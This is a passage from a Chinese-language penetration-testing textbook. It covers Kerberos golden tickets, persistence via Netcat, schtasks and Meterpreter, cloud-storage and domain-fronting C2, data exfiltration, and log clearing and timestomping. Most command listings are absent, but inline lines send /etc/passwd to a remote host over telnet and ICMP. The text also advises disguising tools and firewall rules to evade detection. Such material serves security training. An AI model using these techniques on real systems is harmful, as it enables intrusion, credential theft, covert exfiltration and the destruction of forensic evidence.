4.然后，TGT从用户端传递到域控制器以请求票证授权服务（Ticket Granting Service，TGS）的票据。

5.域控制器验证权限账户证书（Privileged Account Certificate，PAC），如果允许打开票证，则TGT将被有效地复制，用来创建TGS。

6.最后，用户被授权访问服务。

攻击者可以根据可用的密码散列来操纵这些Kerberos票证。例如，如果你已经破解了一个连接到域的系统，并提取了本地用户凭据和密码散列。下一步就是识别KRBTGT密码散列得到金票。这使得取证和事件响应团队难以定位攻击源。

在本节中，我们将探讨如何轻松生成金票。如果已经有一个单一域计算机的低权限的管理员账号的话，使用Empire攻击，只需一步就可以利用这个漏洞。

所有活动目录控制器负责处理Kerberos票据请求，这些请求随后将用于域用户的身份认证。krbtgt账号用于对给定域中生成的所有Kerberos票据加密并签名，随后域控制器利用krbtgt账号的密码解密票据形成验证链。测试者必须记住大多数服务账号（包括krbtgt）的密码有效期和密码更改都不会受限，并且他们的用户名通常是一样的。

我们将使用低权限的本地管理员域用户来生成令牌，然后传递散列值到域控制器，然后为特定账号生成散列值。具体可以通过以下步骤实现：

1.运行creds命令，在Empire工具中列出所有捕获的凭据，然后利用pth和凭据编号传递散列：

这里，我们选择使用1，如图12-35所示。

2.如图12-36所示，传递完散列，并且以当前用户权限创建新的进程后，可以在Empire工具中使用steal_token PID命令来偷取令牌。

3.现在我们在Metasploitable3上设置为SYSTEM用户，而在域控制器上正运行着Mastering域。如图12-37所示，输出结果包括域SID和密码散列。

4.现在，如果域控制器有漏洞的话，我们就已经偷取了krbtgt用户账号的密码散列。如果DCSync失败，攻击者可以试着采用相同的方法攻击所有域控制器。如图12-38所示，攻击者将看到新的凭据（用户名为krbtgt）已经添加到了已有的列表中。

图12-35　利用pth传递散列

图12-36　偷取令牌

图12-37　输出域SID和密码散列

图12-38　凭据列表

5.最后，当我们获取Kerberos散列后，可以将散列传递给域控制器，让其颁布一张金票。使用正确的凭据ID和任意用户名运行golden_ticket模块后，就可以获得金票。当golden_ticket模块成功运行后，你将看到如图12-39所示的画面，相关代码如下：

模块成功执行后，将为我们提供如图12-39所示的详细信息。

6.如图12-40所示，有了金票，攻击者可以查看域控制器上（以及域中任何使用该金票的系统）的任何文件，从而获取相关数据。

图12-39　使用golden_ticket模块获取金票

图12-40　查看域控制器的文件

如果攻击者与目标域控制器存在一个远程桌面会话的话，上述攻击可以通过对目标运行mimikatz命令来实现，相关命令如下：

通过运行这些攻击，攻击者将被认证为包括企业管理员和架构管理员在内的任何用户。

与此类似的另一种类型的攻击是Kerberos银牌攻击，但很少论及。这种攻击也是伪造TGS，但它是由服务账户签署的，这意味着银票攻击仅限于针对服务器上的任何直接服务。PowerShell的Empire工具可以通过提供rc4/NTLM散列的参数使用redentials/mimikatz/silver_ticket模块，用于利用相同的漏洞。

12.8　小结

在本章中，我们研究了提权的方法，并探讨了可用于实现渗透测试目标的多种方法和工具。

我们首先学习了一般的系统级权限提升，主要是通过bypassuac工具利用ms18_8120_win32k_privesc，以及使用已有的Windows计划任务来实现。

我们的重点是利用Meterpreter来获得系统级控制权，之后深入了解了PowerShell的Empire工具，然后通过在网络上使用密码嗅探器来收获凭据。我们还利用响应者和SMB中继攻击来获得远程系统访问，并且我们使用响应者捕获了使用SMB的网络上的不同系统的密码。

我们使用结构化方法完全入侵了活动目录。最后，利用Empire PowerShell攻击了活动目录中的访问权限，并通过使用Empire工具执行金票攻击来入侵了Kerberos。

在第13章中，我们将了解攻击者如何使用不同的技术来维护对受攻击（如使用杀链方法）的系统的访问权限。我们还将深入了解如何将数据从内部系统提取到外部系统。

第13章　命令与控制

现代攻击者对利用系统或网络并不感兴趣，而是继续前进。他们的目标是攻击并入侵一个有价值的网络，然后尽可能长时间地驻留在网络上。命令与控制指的是这样一种机制，即测试人员通过一种重复的攻击行为，长期占领入侵系统、保持双向通信、提取数据到测试人员的位置，并隐藏攻击的证据。

攻击者杀链的最后阶段是“命令、控制、通信”，在此期间，攻击者依赖与被入侵系统的持续连接，保证他们能持续控制被入侵系统。

在本章中，你将学习：

·持久性的重要性。

·利用Metasploit框架、PowerShell Empire和在线文件共享维持持久性。

·使用前置域技术维持命令与控制。

·使用不同协议对数据进行提取的技术。

·隐藏攻击证据。

13.1　持久性

为了实现高效运行，攻击者必须能够维持持久交互（interactive persistence）——他们必须与被攻击系统保持双向通信（交互），与被入侵的系统保持长期的交互而不被发现（持久性）。这种类型的连接的需求原因如下：

·可能检测到网络入侵，被入侵的系统可能识别并打补丁。

·一些攻击只能使用一次，因为漏洞是间歇性的，渗透攻击可能导致系统失效，或者导致系统发生改变，漏洞变得不再可用。

·由于各种原因，攻击者可能需要多次返回到相同的目标。

·当目标被攻破后，不可能立即就知道目标的利用价值。

用来维持持久交互的工具，在经典的术语里，简称为后门（backdoor）或者木马（rootkit）。但是，自动化的恶意软件和人为攻击共同引领的持久趋势已经使传统标签的意义变得模糊。所以作为替代，我们将这种打算在被入侵系统上停留较长时间的恶意软件称为持久代理（persistent agent）。

这些持久代理为攻击者和测试人员完成许多功能，主要包括以下：

·允许上传额外的工具以支持新的攻击，特别是针对位于同一网络的系统。

·便于从被入侵的系统和网络中提取数据。

·允许攻击者和被入侵系统重新连接，通常通过加密信道来避免探测。持久代理曾经在被入侵系统的停留时间超过了一年。

·采用反取证技术来避免被发现，包括在目标文件系统或系统内存中隐藏，使用强认证和加密技术。

13.2　使用持久代理

传统意义上，前门（front door）为合法的用户提供认证接入，而攻击者会在被攻击的系统上植入一个后门，后门程序允许攻击者返回被攻破系统，获得服务和数据的访问。

不幸的是，传统的后门程序提供有限的交互，它不是为了能够在被攻击系统上停留较长时间而设计的。传统后门最显著的缺点是：一旦这个后门被发现并移除后，攻击者只能重复攻击过程来攻破系统，而这是非常困难的，因为预警后的系统管理员会对网络和资源进行防护。

攻击者现在以持久代理为重点，如果使用得当，很难被检测到。我们将回顾第一个令人敬佩的工具Netcat。

13.2.1　使用Netcat作为持久代理

Netcat利用“原始”的TCP和UDP数据包，支持从网络连接中读写数据。与Telnet或者FTP服务形成的数据包不同，Netcat的数据包不具有特定于服务的包头和其他信道信息。这简化了通信，并能适应大部分通信信道。

最新的稳定版本由Hobbit在1996年发行，它保持了和以往一样强大的功能。它经常被称为TCP/IP瑞士军刀（TCP/IP Swiss Army Knife）。Netcat可以完成许多功能，主要列举如下：

·端口扫描。

·提取用来识别服务的标志。

·端口重定向和代理。

·文件传输和聊天，包括支持数据取证和远程备份。

·在被攻破系统上，作为后门或者持久交互代理。

这里我们将重点关注利用Netcat在被攻破系统上创建一个持久shell。尽管随后的例子是用Windows作为目标平台，但它在基于UNIX系统的平台上也能发挥同样的作用。还应该注意的是，大多数传统的Unix平台都将Netcat作为操作系统的一部分。

在图13-1中可以看到，我们将保留可执行文件的名字——nc.exe，但一般在使用前，普遍会对其重新命名，以最小化被探测到的可能性。即使它已经被重命名，通常也会被杀毒软件发现。许多攻击者会修改或者移除Netcat源代码中不需要的元素，并在使用前重新编译。这样的变化能够改变杀毒软件用来识别应用的签名，比如Netcat，这会使其对杀毒软件不可见。

1.Netcat存储在Kali的/usr/share/windows-binaries库中。从Meterpreter输入如下命令，将其上传到被攻击系统中：

上述命令执行的结果如图13-1所示。

图13-1　上传Netcat的屏幕截图

你无须专门把Netcat放在system32文件夹中。但是，由于此文件夹中文件的数量和文件类型的多样性，这是将文件隐藏在被入侵系统中的最佳位置。

当在一个客户端进行渗透测试时，我们发现在一台服务器上有6个独立的Netcat实例。有两个是被两个不同的系统管理员安装的，用以支持网络管理，其他4个实例是外部攻击者安装的，在渗透测试前都没有被发现。因此，要经常检查目标机器上是否已安装了Netcat。

如果没有Meterpreter连接，可以用简单文件传输协议（Trivial File Transfer Protocol，TFTP）来传输文件。

2.接着，用如下命令配置注册表，使系统开始运行，并启动Netcat，确保监听端口8888（或者选择其他任何长期不使用的端口）：

3.用如下queryval命令来确认已成功修改注册表：

4.使用netsh命令，打开一个连接到本地防火墙的端口，以确保被入侵系统能够远程连接到Netcat。重要的是要知道目标的操作系统信息。Windows Vista、Windows Server2008和最新版本使用netsh advfirewall firewall命令行环境，而之前的操作系统使用netsh firewall。

5.为了添加端口到本地防火墙，需要在Meterpreter提示符后输入shell命令，然后使用适当的命令规则。当对规则进行命名时，使用svchostpassthrough这样的名称，暗示此规则对系统的正常运行有重要作用。示例命令显示如下。

6.用如下命令确认修改已成功：

图13-2显示了上述命令执行的结果：

图13-2　添加端口连接

7.当端口规则确定后，确保重启选项启动。

·在Meterpreter提示符后输入如下命令：

·在交互式Windows shell中输入如下命令：

8.为了远程接入被入侵系统，在命令提示符下输入nc，表示连接的详细程度（参数-v表示报告基本信息，参数-vv表示报告更多详细的信息），然后输入目标的IP地址和端口号，如图13-3所示。

图13-3　使用nc命令

不幸的是，在使用Netcat时存在一些限制：没有认证机制，对传输的数据没有加密，几乎能够被所有的杀毒软件检测到。

9.可以用cryptcat来加密，cryptcat是Netcat的变体。在攻击者与被入侵系统的传输中，它运用Twofish算法加密数据。Twofish加密算法是由Bruce Schneier提出的一种高级对称分组加密算法，可以为加密的数据提供强有力的保护。

要使用cryptcat，确保有一个准备好的监听器，并配置强壮的密码，使用如下命令进行配置：

10.接下来，上传cryptcat到被入侵的系统，使用如下命令进行配置，使其连接到监听器的IP地址：

不幸的是，大多数的杀毒软件还是有可能检测到Netcat和它的变体。可以用十六进制编辑器对Netcat源代码进行编辑，使其不能被检测到。这将有助于避免触发杀毒软件的签名匹配行为，但是，这可能是一个漫长的试错过程。更有效的方法是利用Metasploit框架的持久性机制的优势。

13.2.2　使用schtasks来配置持久任务

在Windows XP和2003中，Windows任务调度程序（Windows Task Scheduler）schtasks是为替代at.exe而引入的，但是我们仍然可以看到at.exe在最新版本的Windows中运行，以便向后兼容。在这一节中，我们将继续使用这一功能维持对入侵系统的持续访问。

现在，攻击者可以在受攻击的系统上创建一个调度任务，以从攻击者的机器运行Empire代理负载，然后提供后门访问。schtasks可以直接从命令提示符中进行调度，如图13-4所示。

以下是典型的调度任务场景，可以由攻击者用于保持对系统的持久性访问：

·在用户登录过程中启动一个Empire PowerShell代理。从命令行运行如下命令：

图13-4　使用schtasks调度

·类似地，在系统开始时启动代理，命令如下：

·以下命令会在系统空闲时启动一个代理：

攻击者应该确保监听器始终在运行，并且打开连接。攻击者将使用有效的SSL证书运行HTTPS设置服务器，这样就不会触发内部保护（防火墙、IPS、代理）的警告了。

相同的任务可以使用Empire PowerShell工具模块persistence/evelated/schtasks*通过一个命令执行，如图13-5所示。

图13-5　执行schtasks

13.2.3　使用Metasploit框架保持持久性

Metasploit的Meterpreter包含几个脚本，支持在被入侵系统上保持持久性。我们将讨论用于放置后门的persistence脚本。

13.2.4　使用persistence脚本

一种获得持久性的有效方法是使用Meterpreter提示符的persistence脚本。注意，Meterpreter中的persistence模块已经被后利用模块替代，但是，后面的实例在2019年1月Metasploit的最新版本中依然有效。

在系统被入侵，且migrate命令已经把最初的shell转移到一个更安全的服务后，攻击者就可以从Meterpreter命令提示符调用persistence脚本。

在命令中使用-h参数，可以识别创建可持续后门的可用选项，如图13-6所示。

图13-6　运行persistence脚本

如图13-7所示，我们已经配置persistence为当系统启动时自动运行，并试图连接监听器，频率为每5秒一次。监听器作为远程系统（-r），可以通过特定的IP地址和端口识别。

此外，我们可以选择使用-U选项，它可以在用户登录系统时启动persistence。

图13-7　使用persistence脚本

请注意，persistence使用的是随机端口443。攻击者必须验证本地防火墙的配置，确保端口开启，或者使用reg命令来开启该端口。与大多数Metasploit模块一样，任何长期没有使用的端口都可以选择。

persistence脚本会在临时目录中放置一个VBS文件，你也可以用-L选项来选择不同的位置。该脚本还把此文件加入注册表的本地自动运行部分。

因为persistence脚本没有经过认证，所有人都可以使用它访问被入侵系统。当发现或者渗透测试完成后，应该将其从被入侵系统中立即删除。确认资源文件的位置后，可以通过如下resource命令来清理。

13.2.5　使用Metasploit框架创建一个独立的持久代理

Metasploit框架可以用来创建独立的可执行文件，它可以保留在被入侵的系统中，并允许交互通信。独立包的优点在于，它可以提前准备和测试用以确保连接，可以编码来绕过本地杀毒软件。

1.为了创建一个简单的独立代理，可利用msfvenom。在如图13-8所示的例子中，使用reverse_tcp shell来配置代理，它将连接到攻击者的IP处的本地主机，端口号为443：

代理名为attack1.exe，使用win32可执行文件模板。

图13-8　使用reverse_tcp shell配置代理

这会使用x86/shikata_ga_nai协议对attackl.exe代理执行五次编码。每次重新编码后，都会更难被检测到。但是，可执行文件的大小也在增加。

我们可以在msfvenom中使用-b x64/other来配置编码模式，避免某些字符。例如，当编码一个持久代理时，应避免如下的字符，因为它们可能会被发现，从而导致攻击失败。

·\x00：代表0字节地址。

·\xa0：代表换行。

·\xad：代表回车。

2.使用如下命令来创建多次编码负载：

3.你也可以将msfvenom编译到已有的可执行文件中，并且修改后的可执行文件和持久代理均能工作。为了将持久代理绑定到可执行文件（如计算器calc.exe），首先要将calc.exe文件复制到Kali Linux。运行meterpreter>download c:\\windows\\system32\\calc.exe，使用已有的Meterpreter会话下载该文件。

4.文件下载完成后，运行如下命令：

5.代理可以放置到目标系统上，重命名为calc.exe，替换原来的计算器，随后执行。

不幸的是，几乎所有Metasploit编码的可执行文件都能被客户端杀毒软件检测到。这归因于一些渗透测试人员将加密的负载提交到了一些网站，比如VirusTotal（www.virustotal.com）。然而，你可以创建一个可执行文件，然后用Veil-Evasion进行加密。具体内容请参见第10章。

13.2.6　使用在线文件存储云服务保持持久性

每个允许使用云服务共享文件的组织都可能会使用Dropbox或者OneDrive。攻击者可以通过这些文件存储服务维持对目标的持久性。

本节我们将学习如何借助Empire PowerShell工具，利用这些受害系统上的文件存储云服务，维持命令运行和控制的持久性，并且不会暴露攻击者后台的IP地址。

Dropbox

对于使用Dropbox的公司，监听器充当了一个高可用的C2信道。Empire PowerShell工具已经预装了dbx后利用模块，该模块利用了Dropbox的架构。代理与Dropbox通信时，它就充当了命令和控制中心。

按照以下步骤就可以搭建一个Dropbox stager：

1.创建一个Dropbox账号。

2.访问Dropbox开发者网站（https://www.dropbox.com/developers）的My Apps。

3.进入Create App，然后选择Dropbox API。

4.选择App Folder。

5.给应用取一个名字，比如KaliC2C。

6.如图13-9所示，在新应用的设置界面创建一个新的访问令牌。

图13-9　创建访问令牌

7.现在，利用创建的访问令牌在Empire工具中创建一个负载，代码如下：

输出结果如图13-10所示。

图13-10　创建新的负载

如图13-11所示，如果一切正确，Dropbox账号将显示一个名为Empire的文件夹，并且包含3个子文件夹，分别为results、staging和taskings。

8.开启监听器并运行后，攻击者可以使用多种方法传输负载，比如利用已有的Meterpreter会话，利用社会工程学攻击，或者创建一个计划任务在每次系统引导时返回报告。

攻击者可以使用任何免费的文件托管服务来存储负载，然后使目标机器下载并执行代理。如图13-12所示，代理运行成功后将向Empire发送报告。

图13-11　Dropbox中的Empire文件夹

图13-12　Empire接收到代理的报告

Microsoft OneDrive

与Dropbox类似，OneDrive也是一种十分流行的文件共享服务。如图13-13所示，在最新版的Empire中，你会看到一个新增的预装监听器onedrive。

通过如下步骤设置onedrive c2c：

1.创建一个Microsoft开发者账号（https://developer.microsoft.com/enus/store/register），或者注册应用开发者项目（https://developer.microsoft.com）。

2.如图13-14所示，输入名称，点击Create（创建），注册一个新的应用。

3.如图13-15所示，创建应用后，攻击者应该可以看到一个新的应用ID。

图13-13　Empire中的onedrive监听器

图13-14　注册新的应用

图13-15　新应用的属性

4.下一步，开启Empire并设置监听器。如图13-16所示，设置ClientID（即上一步得到的应用ID），运行监听器。

图13-16　运行Empire并设置监听器

5.如图13-17所示，在浏览器中打开URL，从而生成认证码。

图13-17　利用URL生成认证码

6.如图13-18所示，从URL获取的认证码可以用于设置Empire的监听器。

7.如图13-19所示，与Dropbox类似，在OneDrive中你应该可以看到一个名为Empire并且包含3个子文件夹results、staging和taskings的文件夹，以及正确的Client ID和认证码。

8.如图13-20所示，负载在目标系统成功运行后，OneDrive的监听器将收到相关报告。

其他可用于持久性命令与控制（C2）的开放平台包括：

·Gcat和Gdog，Python脚本利用Gmail账号（在账号设置中存在不安全的应用）实施类似的C2攻击。这些脚本可以分别从以下网站下载：https://github.com/byt3bl33d3r/gcat/archive/master.zip和https://github.com/maldevel/gdog。

·GitPwnd是用Python编写的一个工具，允许测试人员在受害主机上运行Git repo从而实现C2。GitPwnd可以从网站https://github.com/nccgroup/gitpwnd下载。

·其他关于C2的使用可以访问https://github.com/woj-ciech/Social-media-c2。

图13-18　利用认证码设置监听器

图13-19　OneDrive中的Empire文件夹

图13-20　OneDrive的监听器收到报告

13.3　前置域

前置域是一项令攻击者和红队着迷的技术，可以用来逃避命令和控制服务器的检测。前置域是一门隐藏的艺术，它通过使用他人的域名（或者，在HTTPS情况下，使用他人的SSL凭据）路由到应用程序的流量，从而将攻击者的主机隐藏在高可信的域后面。

最流行的服务包括，Amazon CloudFront、Microsoft Azure和Google App Engine。

前置域技术还可以用于结合webmail进行命令和控制，以及通过SMTP协议进行数据抓取。

注意，Google和Amazon于2018年4月启用了相关策略来防御前置域攻击。本节中我们将探索如何利用Amazon CloudFront和Microsoft Azure实现C2（采用了两种不同的方法）。

13.3.1　利用Amazon CloudFront实现C2

为了提升下载速度，亚马逊提供了基于全球分布式代理服务器网络的内容分发网络（Content Delivery Network，CDN），用于缓存大量的多媒体、视频等内容。Amazon CloudFront就是亚马逊网络服务（Amazon Web Service，AWS）提供的一种内容分发网络。通过以下步骤可以创建一个内容分发网络：

1.首先，创建一个AWS账号（https://aws.amazon.com/）。

2.登录账号（https://console.aws.amazon.com/cloudfront/home）。

3.点击Web下的Get Started，然后选择Create distribution。

4.填写正确的设置信息，如图13-21所示。

图13-21　填写CDN的设置项

部分选项如下：

·原域名（Origin Domain Name）：攻击者控制的域名。

·原路径（Origin Path）：可以设置为根目录/。

·原SSL协议（Origin SSL Protocol）：默认启用TLS v1.2、TLS v1.1和TLS v1.0。

·原协议策略（Origin Protocol Policy）：有HTTP、HTTPS和Match Viewer三个选项。作者推荐使用Match Viewer，因为Match Viewer可以根据请求的协议，利用HTTP或者HTTPS。

·许可的HTTP方式（Allowed HTTP Methods）：在Default Cache behavior settings下选择GET、HEAD、OPTIONS、PUT、POST、PATCH和DELETE。

·确保Cache Based on Selected Request Headers设置为All。

·确保Forward Cookies设置为All。

·确保Query String Forwarding and Caching设置为Forward all,Cache based on all。

5.完成所有设置后，点击Create Distribution，你将看到以下画面（图13-22）。

图13-22　创建CDN

通常创建一个CDN需要30分钟左右的时间。

6.创建好CDN后，你需要定制化Empire代理以发起攻击。启动系统中的Empire，指向用于创建AWS实例的域名。

7.可以通过各种脚本找到前置域，这里我们将使用在https://github.com/rvrsh3ll/FindFrontableDomains上找到的脚本，并使用其中一个脆弱的主机来实施攻击。

8.接着，在Empire PowerShell中创建一个新的监听器。第一步是使用一个已存在的监听器。我们将使用http，然后将监听器的名字改为AwsCloud，并将默认配置文件附加到另一个主机中。以下是设置新的监听器的命令：

9.完成新监听器的所有设置后，攻击者可以看到如图13-23所示的画面。

图13-23　创建的监听器信息

本例中，我们使用了d0.awsstatic.com的主机来转发域对C2服务器的请求。

在连接到AWS之前，应用会进行DNS查询，给网络的IP地址分配域名。请求会直接发送到d0.awsstatic.com的主机，其中主机头部是我们在Amazon CloudFront的分发中创建的。

Wireshark捕获的一个请求包如图13-24所示。

图13-24　Wireshark捕获请求包

10.如图13-25所示，在受害主机执行PowerShell负载后，你可以看到代理的报告，显示目标网络上没有攻击者IP地址的任何痕迹。所有流量看上去都像是连接到AWS的合法连接。

图13-25　代理报告

尽管许多内容提供商都容易遭受此类攻击，但是Google似乎于2018年4月已经通过大幅更改其云架构修复了此类攻击。例如，如果公司A的域使用了Google的域作为前置域，并附加了一个主机头部指向公司A，那么相关请求在内容分发网络的第一节点就会被丢弃。类似地，其他提供商也正试图通过附加的认证令牌或者其他机制阻止前置域攻击。

13.3.2　利用Microsoft Azure实现C2

类似于亚马逊的CloudFront，微软使用Azure为用户提供快捷服务。Microsoft Azure使用Verizon和Akamai服务交付内容分发网络。

本例中，我们将利用不同的技术来实现SSL的前置域攻击，使用Microsoft Azure CDN和Metasploit。

按照以下步骤可以创建一个Microsoft Azure CDN：

1.登录Microsoft Azure门户网站https://portal.azure.com/。

2.搜索CDN，通过点击Add添加一个新的实例。

3.为CDN提供一个名称，然后选择Subscription Type、Resources Group、Region和Pricing Tier（定价层，通常免费层就可以了），然后点击Create a New CDN end point Now。

4.然后提供CDN Endpoint name和Origin type（这里选择的是Custom origin），点击Create。如图13-26所示，大概需要2个小时，相关信息才能传遍整个内容分发网络。

图13-26　成功创建CDN

5.当你等待实例上线时，确保将Caching rules设置为Bypass caching for query strings。这是为了确保像真实的CDN一样，不会缓存所有流量，我们只是将其用作一个通信信道。

6.这就创建了一个新的CDN实例，你可以看到黑客控制的域和Azure CDN，如图13-27所示。本例中，mastering.cyberhia.com是黑客控制的网站，Masteringkali.azureedge.net是CDN的终端，同时支持HTTP和HTTPS（因为我们选择了Custom origin）。

图13-27　CDN实例总览

使用msfvenom命令、前置域，以及主机头注入，我们可以创建一个Metasploit Meterpreter反向HTTPS shell，相关命令如下。

执行这个负载后，可以在C2服务器上得到一个反向shell，C2服务器位于Microsoft Azure CDN后端。这项技术经常被APT29组（俄罗斯的一个国家黑客组）用于秘密攻击。

测试人员需要确保在Azure或者Amazon后端的域名有一个有效的A记录。对于Microsoft Azure，你还需要确保CNAME指向一个正确客户域才能使前置域攻击奏效。

13.4　数据提取

从任何环境中以未经授权的方式传输数据被称为数据提取。一旦在被攻击的系统上完成持久性维持，许多工具都可用于从高度安全的环境中提取数据。

在本节中，我们将探讨攻击者用来从内部网络向攻击者控制的系统发送文件的不同方法。

13.4.1　使用现有的系统服务（Telnet、RDP、VNC）

首先，我们将讨论一些简单的技术，以便在有访问时间限制的被入侵系统中快速抓取文件。攻击者可以运行nc-lvp 2323>Exfilteredfile命令使用Netcat打开一个端口，然后在被入侵的Linux服务器运行cat/etc/passwd|telnet remoteIP2323命令。

这将把etc/passwd的全部内容显示给远程主机，如图13-28所示。

图13-28　运行cat/etc/passwd|telnet

访问网络上任何系统的攻击者使用的另一个重要且相当简单的技术是，从Meterpreter shell运行getgui，这将启用RDP。一旦启用了RDP，攻击者就可以配置Windows攻击来将本地驱动器挂载到远程驱动器，并将远程桌面的所有文件提取到本地驱动器。

这可以通过菜单选项来完成，首先从Remote Desktop Connection的Options菜单选择Local Resources，然后到Local devices and resources，点击More，之后选择想要挂载的驱动器，如图13-29所示。

图13-29　选择驱动器

这会将攻击者本地计算机的D盘挂载到RDP系统。可以通过使用RDP连接登录远程IP进行确认。一个额外的驱动器（X:）应该被默认挂载，如图13-30所示。

其他传统技术涉及设置一个SMB服务器，并允许匿名访问被破解的计算机，或者利用其他应用，比如TeamViewer、Skype Chrome插件、Dropbox、Google Drive、OneDrive、WeTransfer，或者其他针对大型文件传输的一键共享服务。

图13-30　默认挂载的驱动器

13.4.2　使用DNS协议

通过利用DNS的隧道设计方式（自动绕过网络保护），将数据有效负载添加到企业的DNS，是维持命令与控制，以及执行数据提取最简单的方法。在本节中，我们将学习如何通过在网络或互联网上设置假DNS服务器，通过UDP53上的DNS协议，利用DNSteal来提取数据。

DNSteal是一个Python工具，可被攻击者用于通过设置一个假DNS服务器来完成DNS协议，发送文件和文件夹。最新的DNSteal版本是2.0，我们希望它以后会集成到Kali Linux中。

DNSteal工具可以从GitHub下载，网址为：https://github.com/m57/dnsteal/。

攻击者现在可以启动一个假DNS服务器，并在指定的IP上运行，如图13-31所示。

以下是所使用的选项的详细说明：

·-z：解压缩任何传入文件，特别适用于网络上的大型文件传输。

·-s：设置每个请求的数据子域的数量。

·-b：每个子域发送的字节数。

·-f：每个请求的文件名长度。

利用DNSteal的优点是它还提供了在被入侵主机上运行的命令。

图13-31　启动假DNS服务器

运行以下命令：

运行该命令的系统或服务器，通过添加一个数据负载，向假DNS服务器发送多个DNS查询，在图13-32所示的示例中，通过网络直接传输内部文件/etc/passwd到服务器。

图13-32　传输内部文件

一旦脚本在受感染的机器上运行，攻击者应该能够在其DNSteal控制台中看到关于接收文件的内容，如图13-33所示。

图13-33　接收文件

一旦文件传输完成，文件名约定为receieved_year_month_date_time_filename，并存储在./文件夹中，测试人员将看到如图13-34所示的文件内容。

图13-34　显示文件内容

13.4.3　使用ICMP协议

有多种方法可以应用ICMP协议（任意ICMP工具，如hping、nping和ping等）提取文件。在本节中，我们将利用nping实用程序使用ICMP协议执行机密文件的数据提取。

在这个例子中，我们将利用tcpdump从pcap转储文件中提取数据。通过在终端运行以下内容启用监听器：

完成后，攻击者可以看到如图13-35所示的内容。

图13-35　使用tcpdump

现在主机192.168.1.104是目标主机，我们等待接收它的数据，一旦hping3在客户端（192.168.1.104）被触发，应该收到一条消息，如“EOF reached,wait some second than press ctrl+c”，如图13-36所示，表示该文件已通过ICMP提取到目标服务器。

按Ctrl+C关闭tcpdump。下一步是从pcap文件中删除不需要的数据，以便我们可以通过运行Wireshark或tshark仅打印特定文本文件的十六进制值。

使用tshark过滤数据字段，打印pcap文件中的十六进制值，命令如下：

十六进制文件现在可以利用4行Python代码进行转换：

图13-36　文件提取到目标服务器

最后，应该可以打开使用ICMP协议发送的文件，如图13-37所示。

图13-37　文件内容

上面这些技术正在被其他的一些工具取代，比如Data Exfiltration Toolkit（我们将在下一节中探讨）。

13.4.4　使用数据提取工具包

数据提取工具包（Data Exfiltration Toolkit，DET）是市场上最简单的可用工具之一，由Sensepost创建，用于测试针对数据提取的数据泄露预防（Data Leakage Prevention，DLP）解决方案。攻击者也可以在真实的环境中使用ICMP和其他社交媒体（如Twitter）或通过邮件（如Gmail）来提取数据。

可以从GitHub下载DET，下载命令如下：

最重要的特征是配置文件，它由config sample.json提供，根据攻击者的动机和目标可以替换为config.json。现在，我们准备好了利用攻击者控制的IP地址，运行DET提取网络中的数据。

这是一个传统的客户端和服务器的概念，首先在服务器上运行Python脚本通过一个特定协议接受通信，本例中，我们使用ICMP协议。

图13-38显示了服务器已准备就绪，并接受连接。

图13-38　服务器准备就绪

攻击者可以用相同的配置从受攻击的服务器启动DET，运行python det.py-f/etc/passwd-p icmp–c./config-sample.json，通过ICMP协议发送文件，如图13-39所示。

图13-39　发送文件

文件发送到攻击者的服务器后，渗透测试人员应该可以看到正在运行的服务器的确认信息，如图13-40所示。

图13-40　收到确认信息

最后，该文件将存储在运行服务器的同一文件夹，命名为：filename:date:time.txt。

13.4.5　使用PowerShell

在最近的渗透测试期间，我们通过PowerShell执行了简单的数据提取，并通过运行以下命令将文件上传到攻击者控制的Web服务器：

13.5　隐藏攻击证据

一旦一个系统被渗透，攻击者必须掩饰他们的踪迹，以免被发现，或者至少为防御者重构该事件制造困难。

攻击者可以完全删除Windows事件日志（如果它们保留在被感染的服务器上）。这些可以通过对入侵系统使用一个命令shell来实现，使用以下命令：

/a选项直接删除所有日志，/s选项删除包括所有子文件夹的文件。/q选项禁用所有的查询，要求有一个yes或者no的回应，/f选项强行删除文件，使得恢复更加困难。

为了擦除特定的记录文件，攻击者必须跟踪在入侵系统上执行的所有活动。

也可以通过在Meterpreter提示符下执行clearev命令来删除文件，如图13-41所示。该命令将删除目标上的应用程序、系统和安全日志（该命令没有选项和参数）。

图13-41　运行clearev命令

通常情况下，删除一个系统日志不会触发任何警报。事实上，大多数组织都是随意设置日志系统，以至于系统日志丢失被视作一件可能发生的事情，并且不会对其丢失做深入的调查。

除了传统日志，攻击者也可以考虑删除受害系统的PowerShell操作日志。

Metasploit有一个绝招，那就是timestomp选项，它允许攻击者更改一个文件的MACE参数（一个文件的最后一次修改、访问、创建，以及MFT入口修改时间）。一旦系统被入侵，并且一个Meterpreter shell已经建立，timestomp就可以被调用，如图13-42所示。

例如，被入侵系统的C盘包含一个名叫README.txt的文件。此文件的MACE值表示它是最近创建的，如图13-43所示。

图13-42　执行timestomp-h命令

图13-43　MACE值

如果我们想隐藏这个文件，我们可以将其移动到一个杂乱的目录，如Windows\System32下。但是，这个文件对于那些根据创建时间或其他MAC参数进行排序的人是显而易见的。

因此，你可以通过以下命令修改文件的时间戳：

这会更改README.txt的时间戳，如图13-44所示。

图13-44　更改时间戳

为了能够彻底的破坏调查，攻击者可以递归地改变一个目录下或者在一个特定的驱动器上所有的设置时间，只需执行以下命令：

这种解决方法并不是完美的。很明显，已经发生了一个攻击。此外，时间戳很可能还存储在硬盘的其他位置，也可用于调查。如果目标系统正在使用入侵检测系统（例如Tripwire）来实时监控系统的变化，会产生timestomp活动的警报。因此，当要求高度隐蔽时，破坏时间戳的价值是有限的。

13.6　小结

本章我们学习了使用不同的策略来维持对入侵环境的访问，包括利用前置域隐藏攻击源，我们还学习了如何隐藏攻击的证据，掩盖我们的痕迹，保持匿名，这些就是杀链方法的最后一步。

我们还学习了如何使用Netcat、Meterpreter、计划任务和Empire PowerShell的dbx和onedrive模块来维持入侵系统代理的持久性，以及如何利用传统服务（如DNS、ICMP、Telnet、RDP和Netcat）抓取数据。

第14章我们将了解如何利用Kali2018.4和其他工具入侵嵌入式设备和RFID/NFC设备。

第14章　嵌入式设备和RFID的入侵

物联网（IOT）的广泛采用，极大地推动了嵌入式系统市场的发展。现代联网嵌入式设备变得越来越具吸引力，并且广泛部署在许多大公司、小型及家庭办公室（SOHO）以及小型或中型企业（SMB），并且正在被全世界的家庭消费者使用。根据www.statista.com的统计，联网的IOT设备已经从2016年的154.1亿增长到2018年231.4亿。同时，设备的安全问题以及面临的威胁成为制造商和消费者最关心的问题。最好的例子就是Mirai僵尸网络攻击，2016年，Mirai使美国东海岸大部分地区的网络中断。

